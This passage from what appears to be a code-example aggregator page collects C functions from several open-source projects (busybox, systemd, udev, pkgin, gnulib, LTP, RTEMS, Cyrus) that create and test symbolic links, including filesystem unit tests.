			chown(file_header->name, file_header->uid, file_header->gid);
	}
	if (!S_ISLNK(file_header->mode)) {
		/* uclibc has no lchmod, glibc is even stranger -
		 * it has lchmod which seems to do nothing!
		 * so we use chmod... */
		if (!(archive_handle->ah_flags & ARCHIVE_DONT_RESTORE_PERM)) {
			chmod(file_header->name, file_header->mode);
		}
		/* same for utime */
		if (archive_handle->ah_flags & ARCHIVE_RESTORE_DATE) {
			struct timeval t[2];

			t[1].tv_sec = t[0].tv_sec = file_header->mtime;
			t[1].tv_usec = t[0].tv_usec = 0;
			utimes(file_header->name, t);
		}
	}
}
コード例 #9
0
ファイル: fstab-generator.c プロジェクト: ChALkeR/systemd
static int add_swap(
                const char *what,
                struct mntent *me,
                bool noauto,
                bool nofail) {

        _cleanup_free_ char *name = NULL, *unit = NULL, *lnk = NULL;
        _cleanup_fclose_ FILE *f = NULL;
        int r;

        assert(what);
        assert(me);

        if (access("/proc/swaps", F_OK) < 0) {
                log_info("Swap not supported, ignoring fstab swap entry for %s.", what);
                return 0;
        }

        if (detect_container() > 0) {
                log_info("Running in a container, ignoring fstab swap entry for %s.", what);
                return 0;
        }

        r = unit_name_from_path(what, ".swap", &name);
        if (r < 0)
                return log_error_errno(r, "Failed to generate unit name: %m");

        unit = strjoin(arg_dest, "/", name, NULL);
        if (!unit)
                return log_oom();

        f = fopen(unit, "wxe");
        if (!f) {
                if (errno == EEXIST)
                        log_error("Failed to create swap unit file %s, as it already exists. Duplicate entry in /etc/fstab?", unit);
                else
                        log_error_errno(errno, "Failed to create unit file %s: %m", unit);
                return -errno;
        }

        fprintf(f,
                "# Automatically generated by systemd-fstab-generator\n\n"
                "[Unit]\n"
                "SourcePath=/etc/fstab\n"
                "Documentation=man:fstab(5) man:systemd-fstab-generator(8)\n\n"
                "[Swap]\n"
                "What=%s\n",
                what);

        if (!isempty(me->mnt_opts) && !streq(me->mnt_opts, "defaults"))
                fprintf(f, "Options=%s\n", me->mnt_opts);

        r = fflush_and_check(f);
        if (r < 0)
                return log_error_errno(r, "Failed to write unit file %s: %m", unit);

        /* use what as where, to have a nicer error message */
        r = generator_write_timeouts(arg_dest, what, what, me->mnt_opts, NULL);
        if (r < 0)
                return r;

        if (!noauto) {
                lnk = strjoin(arg_dest, "/" SPECIAL_SWAP_TARGET,
                              nofail ? ".wants/" : ".requires/", name, NULL);
                if (!lnk)
                        return log_oom();

                mkdir_parents_label(lnk, 0755);
                if (symlink(unit, lnk) < 0)
                        return log_error_errno(errno, "Failed to create symlink %s: %m", lnk);
        }

        return 0;
}
コード例 #10
0
ファイル: test43.c プロジェクト: AgamAgarwal/minix
int main(int argc, char **argv)
{
	char buffer1[PATH_MAX + 1], buffer2[PATH_MAX + 1];
	subtest = 1;

	/* initialize */
	start(43);
	executable = argv[0];
	getcwd(basepath, sizeof(basepath));

	/* prepare some symlinks to make it more difficult */
	if (symlink("/",      addbasepath(buffer1, L(1))) < 0) ERR;
	if (symlink(basepath, addbasepath(buffer1, L(2))) < 0) ERR;

	/* perform some tests */
	check_realpath_recurse(basepath, PATH_DEPTH);

	/* now try with recursive symlinks */
	if (symlink(addbasepath(buffer1, L(3)), addbasepath(buffer2, L(3))) < 0) ERR;
	if (symlink(addbasepath(buffer1, L(5)), addbasepath(buffer2, L(4))) < 0) ERR;
	if (symlink(addbasepath(buffer1, L(4)), addbasepath(buffer2, L(5))) < 0) ERR;
	check_realpath_step_by_step(addbasepath(buffer1, L(3)), ELOOP);
	check_realpath_step_by_step(addbasepath(buffer1, L(4)), ELOOP);
	check_realpath_step_by_step(addbasepath(buffer1, L(5)), ELOOP);

	/* delete the symlinks */
	cleanup();

	/* also test dirname */
	test_dirname("", ".");	
	test_dirname(".", ".");	
	test_dirname("..", ".");	
	test_dirname("x", ".");	
	test_dirname("xy", ".");	
	test_dirname("x/y", "x");	
	test_dirname("xy/z", "xy");	
	test_dirname("x/yz", "x");	
	test_dirname("ab/cd", "ab");	
	test_dirname("x//y", "x");	
	test_dirname("xy//z", "xy");	
	test_dirname("x//yz", "x");	
	test_dirname("ab//cd", "ab");	
	test_dirname("/", "/");	
	test_dirname("/x", "/");	
	test_dirname("/xy", "/");	
	test_dirname("/x/y", "/x");	
	test_dirname("/xy/z", "/xy");	
	test_dirname("/x/yz", "/x");	
	test_dirname("/ab/cd", "/ab");	
	test_dirname("/x//y", "/x");	
	test_dirname("/xy//z", "/xy");	
	test_dirname("/x//yz", "/x");	
	test_dirname("/ab//cd", "/ab");	
	test_dirname("/usr/src", "/usr");	
	test_dirname("/usr/src/test", "/usr/src");	
	test_dirname("usr/src", "usr");	
	test_dirname("usr/src/test", "usr/src");	

	/* done */
	quit();
	return(-1);	/* impossible */
}
コード例 #11
0
ファイル: actions.c プロジェクト: juanmaneo/pkgin
static int
pkg_download(Plisthead *installhead)
{
	FILE		*fp;
	Pkglist  	*pinstall;
	struct stat	st;
	char		pkg_fs[BUFSIZ], pkg_url[BUFSIZ], query[BUFSIZ];
	ssize_t		size;
	int		rc = EXIT_SUCCESS;

	printf(MSG_DOWNLOAD_PKGS);

	SLIST_FOREACH(pinstall, installhead, next) {
		snprintf(pkg_fs, BUFSIZ,
			"%s/%s%s", pkgin_cache, pinstall->depend, PKG_EXT);

		/* pkg_info -X -a produces pkg_summary with empty FILE_SIZE,
		 * people could spend some time blaming on pkgin before finding
		 * what's really going on.
		 */
		if (pinstall->file_size == 0)
			printf(MSG_EMPTY_FILE_SIZE, pinstall->depend);

		/* already fully downloaded */
		if (stat(pkg_fs, &st) == 0 && 
			st.st_size == pinstall->file_size &&
			pinstall->file_size != 0 )
			continue;

		snprintf(query, BUFSIZ, PKG_URL, pinstall->depend);
		/* retrieve repository for package  */
		if (pkgindb_doquery(query, pdb_get_value, pkg_url) != 0)
			errx(EXIT_FAILURE, MSG_PKG_NO_REPO, pinstall->depend);

		strlcat(pkg_url, "/", sizeof(pkg_url));
		strlcat(pkg_url, pinstall->depend, sizeof(pkg_url));
		strlcat(pkg_url, PKG_EXT, sizeof(pkg_url));

		/* if pkg's repo URL is file://, just symlink */
		if (strncmp(pkg_url, SCHEME_FILE, strlen(SCHEME_FILE)) == 0) {
			(void)unlink(pkg_fs);
			if (symlink(&pkg_url[strlen(SCHEME_FILE) + 3],
				pkg_fs) < 0)
				errx(EXIT_FAILURE, MSG_SYMLINK_FAILED, pkg_fs);
			printf(MSG_SYMLINKING_PKG, pkg_url);
			continue;
		}

		umask(DEF_UMASK);
		if ((fp = fopen(pkg_fs, "w")) == NULL)
			err(EXIT_FAILURE, MSG_ERR_OPEN, pkg_fs);

		if ((size = download_pkg(pkg_url, fp)) == -1) {
			fprintf(stderr, MSG_PKG_NOT_AVAIL, pinstall->depend);
			rc = EXIT_FAILURE;

			if (!check_yesno(DEFAULT_NO))
				errx(EXIT_FAILURE, MSG_PKG_NOT_AVAIL,
				pinstall->depend);

			pinstall->file_size = -1;
			fclose(fp);
			continue;
		}

		fclose(fp);
		if (size != pinstall->file_size) {
			(void)unlink(pkg_fs);
			errx(EXIT_FAILURE, "download mismatch: %s", pkg_fs);
		}
	} /* download loop */
コード例 #12
0
ファイル: test-remove.c プロジェクト: djmitche/gnulib
int
main (void)
{
  /* Remove any leftovers from a previous partial run.  */
  ignore_value (system ("rm -rf " BASE "*"));

  /* Setup.  */
  ASSERT (mkdir (BASE "dir", 0700) == 0);
  ASSERT (close (creat (BASE "dir/file", 0600)) == 0);

  /* Basic error conditions.  */
  errno = 0;
  ASSERT (remove ("") == -1);
  ASSERT (errno == ENOENT);
  errno = 0;
  ASSERT (remove ("nosuch") == -1);
  ASSERT (errno == ENOENT);
  errno = 0;
  ASSERT (remove ("nosuch/") == -1);
  ASSERT (errno == ENOENT);
  errno = 0;
  ASSERT (remove (".") == -1);
  ASSERT (errno == EINVAL || errno == EBUSY);
  /* Resulting errno after ".." or "/" is too varied to test; it is
     reasonable to see any of EINVAL, EEXIST, ENOTEMPTY, EACCES.  */
  ASSERT (remove ("..") == -1);
  ASSERT (remove ("/") == -1);
  ASSERT (remove ("///") == -1);
  errno = 0;
  ASSERT (remove (BASE "dir/file/") == -1);
  ASSERT (errno == ENOTDIR);

  /* Non-empty directory.  */
  errno = 0;
  ASSERT (remove (BASE "dir") == -1);
  ASSERT (errno == EEXIST || errno == ENOTEMPTY);

  /* Non-directory.  */
  ASSERT (remove (BASE "dir/file") == 0);

  /* Empty directory.  */
  errno = 0;
  ASSERT (remove (BASE "dir/.//") == -1);
  ASSERT (errno == EINVAL || errno == EBUSY);
  ASSERT (remove (BASE "dir") == 0);

  /* Test symlink behavior.  Specifying trailing slash should remove
     referent directory, or cause ENOTDIR failure, but not touch
     symlink.  */
  if (symlink (BASE "dir", BASE "link") != 0)
    {
      fputs ("skipping test: symlinks not supported on this file system\n",
             stderr);
      return 77;
    }
  ASSERT (mkdir (BASE "dir", 0700) == 0);
  errno = 0;
  if (remove (BASE "link/") == 0)
    {
      struct stat st;
      errno = 0;
      ASSERT (stat (BASE "link", &st) == -1);
      ASSERT (errno == ENOENT);
    }
  else
    ASSERT (remove (BASE "dir") == 0);
  {
    struct stat st;
    ASSERT (lstat (BASE "link", &st) == 0);
    ASSERT (S_ISLNK (st.st_mode));
  }
  ASSERT (remove (BASE "link") == 0);
  /* Trailing slash on symlink to non-directory is an error.  */
  ASSERT (symlink (BASE "loop", BASE "loop") == 0);
  errno = 0;
  ASSERT (remove (BASE "loop/") == -1);
  ASSERT (errno == ELOOP || errno == ENOTDIR);
  ASSERT (remove (BASE "loop") == 0);
  ASSERT (close (creat (BASE "file", 0600)) == 0);
  ASSERT (symlink (BASE "file", BASE "link") == 0);
  errno = 0;
  ASSERT (remove (BASE "link/") == -1);
  ASSERT (errno == ENOTDIR);
  ASSERT (remove (BASE "link") == 0);
  ASSERT (remove (BASE "file") == 0);

  return 0;
}
コード例 #13
0
ファイル: readlinkat01.c プロジェクト: shubmit/shub-ltp
void setup_every_copy()
{
	int i;
	char tmpfilename[256] = "";

	/* Initialize test dir and file names */
	sprintf(pathname, "readlinkattestdir%d", getpid());
	sprintf(dpathname, "dreadlinkattestdir%d", getpid());
	sprintf(testfile, "readlinkattestfile%d.txt", getpid());
	sprintf(dtestfile, "dreadlinkattestfile%d.txt", getpid());
	sprintf(testfile2, "readlinkattestdir%d/readlinkattestfile%d.txt",
		getpid(), getpid());
	sprintf(dtestfile2, "dreadlinkattestdir%d/dreadlinkattestfile%d.txt",
		getpid(), getpid());
	sprintf(testfile3, "/tmp/readlinkattestfile%d.txt", getpid());
	sprintf(dtestfile3, "/tmp/dreadlinkattestfile%d.txt", getpid());

	ret = mkdir(pathname, 0700);
	if (ret < 0) {
		perror("mkdir: ");
		exit(-1);
	}

	ret = mkdir(dpathname, 0700);
	if (ret < 0) {
		perror("mkdir: ");
		exit(-1);
	}

	dirfd = open(dpathname, O_DIRECTORY);
	if (dirfd < 0) {
		perror("open: ");
		exit(-1);
	}

	fd = open(testfile, O_CREAT | O_RDWR, 0600);
	if (fd < 0) {
		perror("open: ");
		exit(-1);
	}

	ret = symlink(testfile, dtestfile);
	if (ret < 0) {
		perror("symlink: ");
		exit(-1);
	}

	fd = open(testfile2, O_CREAT | O_RDWR, 0600);
	if (fd < 0) {
		perror("open: ");
		exit(-1);
	}

	tmpfilename[0] = '\0';
	strcat(strcat(tmpfilename, "../"), testfile2);
	ret = symlink(tmpfilename, dtestfile2);
	if (ret < 0) {
		perror("symlink: ");
		exit(-1);
	}

	fd = open(testfile3, O_CREAT | O_RDWR, 0600);
	if (fd < 0) {
		perror("open: ");
		exit(-1);
	}

	ret = symlink(testfile3, dtestfile3);
	if (ret < 0) {
		perror("symlink: ");
		exit(-1);
	}

	fds[0] = fds[1] = dirfd;
	fds[2] = fd;
	fds[3] = 100;
	fds[4] = AT_FDCWD;

	filenames[0] = filenames[2] = filenames[3] = filenames[4] = dtestfile;
	filenames[1] = dtestfile3;

	for (i = 0; i < TEST_CASES; i++)
		expected_buff[i][0] = '\0';

	strcat(strcat(expected_buff[0], "../"), testfile2);
	strcat(expected_buff[1], testfile3);
	strcat(expected_buff[2], "");
	strcat(expected_buff[3], "");
	strcat(expected_buff[4], testfile);
}
コード例 #14
0
ファイル: roots.c プロジェクト: PhilZ-cwm6/xxRecovery
void setup_data_media() {
    rmdir("/sdcard");
    mkdir("/data/media", 0755);
    symlink("/data/media", "/sdcard");
}
コード例 #15
0
ファイル: udev-node.c プロジェクト: RaghavanSanthanam/systemd
static int node_symlink(struct udev_device *dev, const char *node, const char *slink) {
        struct stat stats;
        char target[UTIL_PATH_SIZE];
        char *s;
        size_t l;
        char slink_tmp[UTIL_PATH_SIZE + 32];
        int i = 0;
        int tail = 0;
        int err = 0;

        /* use relative link */
        target[0] = '\0';
        while (node[i] && (node[i] == slink[i])) {
                if (node[i] == '/')
                        tail = i+1;
                i++;
        }
        s = target;
        l = sizeof(target);
        while (slink[i] != '\0') {
                if (slink[i] == '/')
                        l = strpcpy(&s, l, "../");
                i++;
        }
        l = strscpy(s, l, &node[tail]);
        if (l == 0) {
                err = -EINVAL;
                goto exit;
        }

        /* preserve link with correct target, do not replace node of other device */
        if (lstat(slink, &stats) == 0) {
                if (S_ISBLK(stats.st_mode) || S_ISCHR(stats.st_mode)) {
                        log_error("conflicting device node '%s' found, link to '%s' will not be created", slink, node);
                        goto exit;
                } else if (S_ISLNK(stats.st_mode)) {
                        char buf[UTIL_PATH_SIZE];
                        int len;

                        len = readlink(slink, buf, sizeof(buf));
                        if (len > 0 && len < (int)sizeof(buf)) {
                                buf[len] = '\0';
                                if (streq(target, buf)) {
                                        log_debug("preserve already existing symlink '%s' to '%s'", slink, target);
                                        label_fix(slink, true, false);
                                        utimensat(AT_FDCWD, slink, NULL, AT_SYMLINK_NOFOLLOW);
                                        goto exit;
                                }
                        }
                }
        } else {
                log_debug("creating symlink '%s' to '%s'", slink, target);
                do {
                        err = mkdir_parents_label(slink, 0755);
                        if (err != 0 && err != -ENOENT)
                                break;
                        mac_selinux_create_file_prepare(slink, S_IFLNK);
                        err = symlink(target, slink);
                        if (err != 0)
                                err = -errno;
                        mac_selinux_create_file_clear();
                } while (err == -ENOENT);
                if (err == 0)
                        goto exit;
        }

        log_debug("atomically replace '%s'", slink);
        strscpyl(slink_tmp, sizeof(slink_tmp), slink, ".tmp-", udev_device_get_id_filename(dev), NULL);
        unlink(slink_tmp);
        do {
                err = mkdir_parents_label(slink_tmp, 0755);
                if (err != 0 && err != -ENOENT)
                        break;
                mac_selinux_create_file_prepare(slink_tmp, S_IFLNK);
                err = symlink(target, slink_tmp);
                if (err != 0)
                        err = -errno;
                mac_selinux_create_file_clear();
        } while (err == -ENOENT);
        if (err != 0) {
                log_error_errno(errno, "symlink '%s' '%s' failed: %m", target, slink_tmp);
                goto exit;
        }
        err = rename(slink_tmp, slink);
        if (err != 0) {
                log_error_errno(errno, "rename '%s' '%s' failed: %m", slink_tmp, slink);
                unlink(slink_tmp);
        }
exit:
        return err;
}
コード例 #16
0
ファイル: ctl_zoneinfo.c プロジェクト: Distrotech/cyrus-imapd
int main(int argc, char **argv)
{
    int opt, r = 0;
    char *alt_config = NULL, *pub = NULL, *ver = NULL, *winfile = NULL;
    char prefix[2048];
    enum { REBUILD, WINZONES, NONE } op = NONE;

    if ((geteuid()) == 0 && (become_cyrus(/*ismaster*/0) != 0)) {
        fatal("must run as the Cyrus user", EC_USAGE);
    }

    while ((opt = getopt(argc, argv, "C:r:vw:")) != EOF) {
        switch (opt) {
        case 'C': /* alt config file */
            alt_config = optarg;
            break;

        case 'r':
            if (op == NONE) {
                op = REBUILD;
                pub = optarg;
                ver = strchr(optarg, ':');
                if (ver) *ver++ = '\0';
                else usage();
            }
            else usage();
            break;

        case 'v':
            verbose = 1;
            break;

        case 'w':
            if (op == NONE) {
                op = WINZONES;
                winfile = optarg;
            }
            else usage();
            break;

        default:
            usage();
        }
    }

    cyrus_init(alt_config, "ctl_zoneinfo", 0, 0);

    signals_set_shutdown(&shut_down);
    signals_add_handlers(0);

    snprintf(prefix, sizeof(prefix), "%s%s", config_dir, FNAME_ZONEINFODIR);

    switch (op) {
    case REBUILD: {
        struct hash_table tzentries;
        struct zoneinfo *info;
        struct txn *tid = NULL;
        char buf[1024];
        FILE *fp;

        construct_hash_table(&tzentries, 500, 1);

        /* Add INFO record (overall lastmod and TZ DB source version) */
        info = xzmalloc(sizeof(struct zoneinfo));
        info->type = ZI_INFO;
        appendstrlist(&info->data, pub);
        appendstrlist(&info->data, ver);
        hash_insert(INFO_TZID, info, &tzentries);

        /* Add LEAP record (last updated and hash) */
        snprintf(buf, sizeof(buf), "%s%s", prefix, FNAME_LEAPSECFILE);
        if (verbose) printf("Processing leap seconds file %s\n", buf);
        if (!(fp = fopen(buf, "r"))) {
            fprintf(stderr, "Could not open leap seconds file %s\n", buf);
        }
        else {
            struct zoneinfo *leap = xzmalloc(sizeof(struct zoneinfo));
            leap->type = ZI_INFO;

            while(fgets(buf, sizeof(buf), fp)) {
                if (buf[0] == '#') {
                    /* comment line */

                    if (buf[1] == '$') {
                        /* last updated */
                        unsigned long last;

                        sscanf(buf+2, "\t%lu", &last);
                        leap->dtstamp = last - NIST_EPOCH_OFFSET;
                    }
                    else if (buf[1] == 'h') {
                        /* hash */
                        char *p, *hash = buf+3 /* skip "#h\t" */;

                        /* trim trailing whitespace */
                        for (p = hash + strlen(hash); isspace(*--p); *p = '\0');
                        appendstrlist(&leap->data, hash);
                    }
                }
            }
            fclose(fp);

            hash_insert(LEAP_TZID, leap, &tzentries);
            info->dtstamp = leap->dtstamp;
        }

        /* Add ZONE/LINK records */
        do_zonedir(prefix, &tzentries, info);

        zoneinfo_open(NULL);

        /* Store records */
        hash_enumerate(&tzentries, &store_zoneinfo, &tid);

        zoneinfo_close(tid);

        free_hash_table(&tzentries, &free_zoneinfo);
        break;
    }

    case WINZONES: {
        xmlParserCtxtPtr ctxt;
        xmlDocPtr doc;
        xmlNodePtr node;
        struct buf tzidbuf = BUF_INITIALIZER;
        struct buf aliasbuf = BUF_INITIALIZER;

        if (verbose) printf("Processing Windows Zone file %s\n", winfile);

        /* Parse the XML file */
        ctxt = xmlNewParserCtxt();
        if (!ctxt) {
            fprintf(stderr, "Failed to create XML parser context\n");
            break;
        }

        doc = xmlCtxtReadFile(ctxt, winfile, NULL, 0);
        xmlFreeParserCtxt(ctxt);
        if (!doc) {
            fprintf(stderr, "Failed to parse XML document\n");
            break;
        }

        node = xmlDocGetRootElement(doc);
        if (!node || xmlStrcmp(node->name, BAD_CAST "supplementalData")) {
            fprintf(stderr, "Incorrect root node\n");
            goto done;
        }

        for (node = xmlFirstElementChild(node);
             node && xmlStrcmp(node->name, BAD_CAST "windowsZones");
             node = xmlNextElementSibling(node));
        if (!node) {
            fprintf(stderr, "Missing windowsZones node\n");
            goto done;
        }

        node = xmlFirstElementChild(node);
        if (!node || xmlStrcmp(node->name, BAD_CAST "mapTimezones")) {
            fprintf(stderr, "Missing mapTimezones node\n");
            goto done;
        }

        if (chdir(prefix)) {
            fprintf(stderr, "chdir(%s) failed\n", prefix);
            goto done;
        }

        for (node = xmlFirstElementChild(node);
             node;
             node = xmlNextElementSibling(node)) {
            if (!xmlStrcmp(node->name, BAD_CAST "mapZone") &&
                !xmlStrcmp(xmlGetProp(node, BAD_CAST "territory"),
                           BAD_CAST "001")) {
                const char *tzid, *alias;

                buf_setcstr(&tzidbuf,
                            (const char *) xmlGetProp(node, BAD_CAST "type"));
                buf_appendcstr(&tzidbuf, ".ics");
                tzid = buf_cstring(&tzidbuf);
                buf_setcstr(&aliasbuf,
                            (const char *) xmlGetProp(node, BAD_CAST "other"));
                buf_appendcstr(&aliasbuf, ".ics");
                alias = buf_cstring(&aliasbuf);

                if (verbose) printf("\tLINK: %s -> %s\n", alias, tzid);

                if (symlink(tzid, alias)) {
                    if (errno == EEXIST) {
                        struct stat sbuf;

                        if (stat(alias, &sbuf)) {
                            fprintf(stderr, "stat(%s) failed: %s\n",
                                    alias, strerror(errno));
                            errno = EEXIST;
                        }
                        else if (sbuf.st_mode & S_IFLNK) {
                            char link[MAX_MAILBOX_PATH+1];
                            int n = readlink(alias, link, MAX_MAILBOX_PATH);

                            if (n == -1) {
                                fprintf(stderr, "readlink(%s) failed: %s\n",
                                        alias, strerror(errno));
                                errno = EEXIST;
                            }
                            else if (n == (int) strlen(tzid) &&
                                     !strncmp(tzid, link, n)) {
                                errno = 0;
                            }
                        }
                    }

                    if (errno) {
                        fprintf(stderr, "symlink(%s, %s) failed: %s\n",
                                tzid, alias, strerror(errno));
                    }
                }
            }
        }

  done:
        buf_free(&aliasbuf);
        buf_free(&tzidbuf);
        xmlFreeDoc(doc);
        break;
    }

    case NONE:
        r = 2;
        usage();
        break;
    }

    cyrus_done();

    return r;
}
コード例 #17
0
rtems_task Init(
  rtems_task_argument argument
)
{
  int status = 0;
  void *alloc_ptr = (void *)0;
  char linkname_n[20] = {0};
  char linkname_p[20] = {0};
  int i;
  struct stat stat_buf;

  puts( "\n\n*** TEST IMFS 02 ***" );

  puts( "Creating directory /dir00" );
  status = mkdir( "/dir00", S_IRWXU );
  rtems_test_assert( status == 0 );

  puts( "Creating directory /dir00/dir01" );
  status = mkdir( "/dir00/dir01", S_IRWXU );
  rtems_test_assert( status == 0 );

  puts( "Changing directory to /dir00" );
  status = chdir( "/dir00" );
  rtems_test_assert( status == 0 );

  puts( "Creating link dir01-link0 for dir01" );
  status = link( "dir01", "dir01-link0" );
  rtems_test_assert( status == 0 );

  for( i = 1 ; ; ++i ) {
    sprintf( linkname_p, "dir01-link%d", i-1 );
    sprintf( linkname_n, "dir01-link%d", i );
    printf( "\nCreating link %s for %s\n", linkname_n, linkname_p );
    status = link( linkname_p, linkname_n );
    if( status != 0 ) {
      puts("Link creation failed" );
      break;
    }
  }

  puts( "Creating a regular node /node, RDONLY" );
  status = mknod( "/node", S_IFREG | S_IRUSR, 0LL );
  rtems_test_assert( status == 0 );

  puts( "Creating link /node-link for /node" );
  status = link( "/node" , "/node-link" );
  rtems_test_assert( status == 0 );

  puts( "Opening /node-link in WRONLY mode -- expect EACCES" );
  status = open( "/node-link", O_WRONLY );
  rtems_test_assert( status == -1 );
  rtems_test_assert( errno == EACCES );

  puts( "Creating a symlink /node-slink for /node" );
  status = symlink( "/node" , "/node-slink" );
  rtems_test_assert( status == 0 );

  puts( "Opening /node-slink in WRONLY mode -- expect EACCES" );  
  status = open( "/node-slink", O_WRONLY );
  rtems_test_assert( status == -1 );
  rtems_test_assert( errno == EACCES );

  puts( "Allocate most of heap" );
  alloc_ptr = malloc( malloc_free_space() - 150 );

  puts( "Attempt to mount a fs at /dir01 -- expect ENOMEM" );
  status = mount( NULL,
		  "dir01",
		  "imfs",
		  RTEMS_FILESYSTEM_READ_WRITE,
		  NULL );
  rtems_test_assert( status == -1 );
  rtems_test_assert( errno == ENOMEM );

  puts( "Freeing allocated memory" );
  free( alloc_ptr );

  puts( "Allocate most of heap" );
  alloc_ptr = malloc( malloc_free_space() - 4 );

  puts( "Changing directory to /" );
  status = chdir( "/" );
  rtems_test_assert( status == 0 );

  puts( "Attempt to create /node-link-2 for /node -- expect ENOMEM" );
  status = link( "/node", "/node-link-2" );
  rtems_test_assert( status == -1 );
  rtems_test_assert( errno == ENOMEM );

  puts( "Attempt to create /node-slink-2 for /node -- expect ENOMEM" );
  status = symlink( "/node", "node-slink-2" );
  rtems_test_assert( status == -1 );
  rtems_test_assert( errno == ENOMEM );

  puts( "Freeing allocated memory" );
  free( alloc_ptr );

  puts( "Allocate most of heap" );
  alloc_ptr = malloc( malloc_free_space() - 40 );

  puts( "Attempt to create /node-slink-2 for /node -- expect ENOMEM" );
  status = symlink( "/node", "node-slink-2" );
  rtems_test_assert( status == -1 );
  rtems_test_assert( errno == ENOMEM );

  puts( "Freeing allocated memory" );
  free( alloc_ptr );

  puts( "Attempt to stat a hardlink -- expect ENOTSUP" );
  status = lstat( "/node-link", &stat_buf );
  rtems_test_assert( status == -1 );
  rtems_test_assert( errno == ENOTSUP );

  puts( "Changing euid to 10" );
  status = seteuid( 10 );
  rtems_test_assert( status == 0 );

#if defined(RTEMS_POSIX_API)
  puts( "Attempt chmod on /node -- expect EPERM" );
  status = chmod( "/node", S_IRUSR );
  rtems_test_assert( status == -1 );
  rtems_test_assert( errno == EPERM );

  puts( "Attempt chown on /node -- expect EPERM" );
  status = chown( "/node", 10, 10 );
  rtems_test_assert( status == -1 );
  rtems_test_assert( errno == EPERM );
#else
  puts( "Attempt chmod on /node -- EPERM only when POSIX enabled" );
  puts( "Attempt chown on /node -- EPERM only when POSIX enabled" );
#endif

  puts( "Changing euid back to 0 [root]" );
  status = seteuid( 0 );
  rtems_test_assert( status == 0 );

  puts( "Creating a fifo -- OK" );
  status = mkfifo( "/fifo", S_IRWXU );
  rtems_test_assert( status == 0 );

  IMFS_dump();
  
  puts( "chown /fifo to 10 -- OK" );
  status = chown( "/fifo", 10, 10 );
  rtems_test_assert( status == 0 );

  puts( "Changing euid to 10" );
  status = seteuid( 10 );
  rtems_test_assert( status == 0 );

  puts( "chmod /fifo -- OK" );
  status = chmod( "/fifo", S_IRWXU );
  rtems_test_assert( status == 0 );

  printk( "chown /fifo to %o -- OK", 0 );
  status = chown( "/fifo", 0, 0 );
  rtems_test_assert( status == 0 );

  puts( "*** END OF TEST IMFS 02 ***" );
  rtems_test_exit(0);
}
コード例 #18
0
ファイル: copy_file.c プロジェクト: emuikernel/WNR2000v4
int copy_file(const char *source, const char *dest, int flags)
{
	struct stat source_stat;
	struct stat dest_stat;
	int status = 0;
	signed char dest_exists = 0;
	signed char ovr;

#define FLAGS_DEREF (flags & FILEUTILS_DEREFERENCE)

	if ((FLAGS_DEREF ? stat : lstat)(source, &source_stat) < 0) {
		// This may be a dangling symlink.
		// Making [sym]links to dangling symlinks works, so...
		if (flags & (FILEUTILS_MAKE_SOFTLINK|FILEUTILS_MAKE_HARDLINK))
			goto make_links;
		bb_perror_msg("cannot stat '%s'", source);
		return -1;
	}

	if (lstat(dest, &dest_stat) < 0) {
		if (errno != ENOENT) {
			bb_perror_msg("cannot stat '%s'", dest);
			return -1;
		}
	} else {
		if (source_stat.st_dev == dest_stat.st_dev
		 && source_stat.st_ino == dest_stat.st_ino
		) {
			bb_error_msg("'%s' and '%s' are the same file", source, dest);
			return -1;
		}
		dest_exists = 1;
	}

	if (S_ISDIR(source_stat.st_mode)) {
		DIR *dp;
		struct dirent *d;
		mode_t saved_umask = 0;

		if (!(flags & FILEUTILS_RECUR)) {
			bb_error_msg("omitting directory '%s'", source);
			return -1;
		}

		/* Create DEST.  */
		if (dest_exists) {
			if (!S_ISDIR(dest_stat.st_mode)) {
				bb_error_msg("target '%s' is not a directory", dest);
				return -1;
			}
		} else {
			mode_t mode;
			saved_umask = umask(0);

			mode = source_stat.st_mode;
			if (!(flags & FILEUTILS_PRESERVE_STATUS))
				mode = source_stat.st_mode & ~saved_umask;
			mode |= S_IRWXU;

			if (mkdir(dest, mode) < 0) {
				umask(saved_umask);
				bb_perror_msg("cannot create directory '%s'", dest);
				return -1;
			}

			umask(saved_umask);
		}

		/* Recursively copy files in SOURCE.  */
		dp = opendir(source);
		if (dp == NULL) {
			status = -1;
			goto preserve_status;
		}

		while ((d = readdir(dp)) != NULL) {
			char *new_source, *new_dest;

			new_source = concat_subpath_file(source, d->d_name);
			if (new_source == NULL)
				continue;
			new_dest = concat_path_file(dest, d->d_name);
			if (copy_file(new_source, new_dest, flags) < 0)
				status = -1;
			free(new_source);
			free(new_dest);
		}
		closedir(dp);

		if (!dest_exists
		 && chmod(dest, source_stat.st_mode & ~saved_umask) < 0
		) {
			bb_perror_msg("cannot change permissions of '%s'", dest);
			status = -1;
		}

	} else if (flags & (FILEUTILS_MAKE_SOFTLINK|FILEUTILS_MAKE_HARDLINK)) {
		int (*lf)(const char *oldpath, const char *newpath);
 make_links:
		// Hmm... maybe
		// if (DEREF && MAKE_SOFTLINK) source = realpath(source) ?
		// (but realpath returns NULL on dangling symlinks...)
		lf = (flags & FILEUTILS_MAKE_SOFTLINK) ? symlink : link;
		if (lf(source, dest) < 0) {
			ovr = retry_overwrite(dest, flags);
			if (ovr <= 0)
				return ovr;
			if (lf(source, dest) < 0) {
				bb_perror_msg("cannot create link '%s'", dest);
				return -1;
			}
		}
		return 0;

	} else if (S_ISREG(source_stat.st_mode)
	// Huh? DEREF uses stat, which never returns links IIRC...
	 || (FLAGS_DEREF && S_ISLNK(source_stat.st_mode))
	) {
		int src_fd;
		int dst_fd;
		if (ENABLE_FEATURE_PRESERVE_HARDLINKS) {
			char *link_name;

			if (!FLAGS_DEREF
			 && is_in_ino_dev_hashtable(&source_stat, &link_name)
			) {
				if (link(link_name, dest) < 0) {
					ovr = retry_overwrite(dest, flags);
					if (ovr <= 0)
						return ovr;
					if (link(link_name, dest) < 0) {
						bb_perror_msg("cannot create link '%s'", dest);
						return -1;
					}
				}
				return 0;
			}
			// TODO: probably is_in_.. and add_to_...
			// can be combined: find_or_add_...
			add_to_ino_dev_hashtable(&source_stat, dest);
		}

		src_fd = open(source, O_RDONLY);
		if (src_fd == -1) {
			bb_perror_msg("cannot open '%s'", source);
			return -1;
		}

		// POSIX: if exists and -i, ask (w/o -i assume yes).
		// Then open w/o EXCL.
		// If open still fails and -f, try unlink, then try open again.
		// Result: a mess:
		// If dest is a softlink, we overwrite softlink's destination!
		// (or fail, if it points to dir/nonexistent location/etc).
		// This is strange, but POSIX-correct.
		// coreutils cp has --remove-destination to override this...
		dst_fd = open(dest, (flags & FILEUTILS_INTERACTIVE)
				? O_WRONLY|O_CREAT|O_TRUNC|O_EXCL
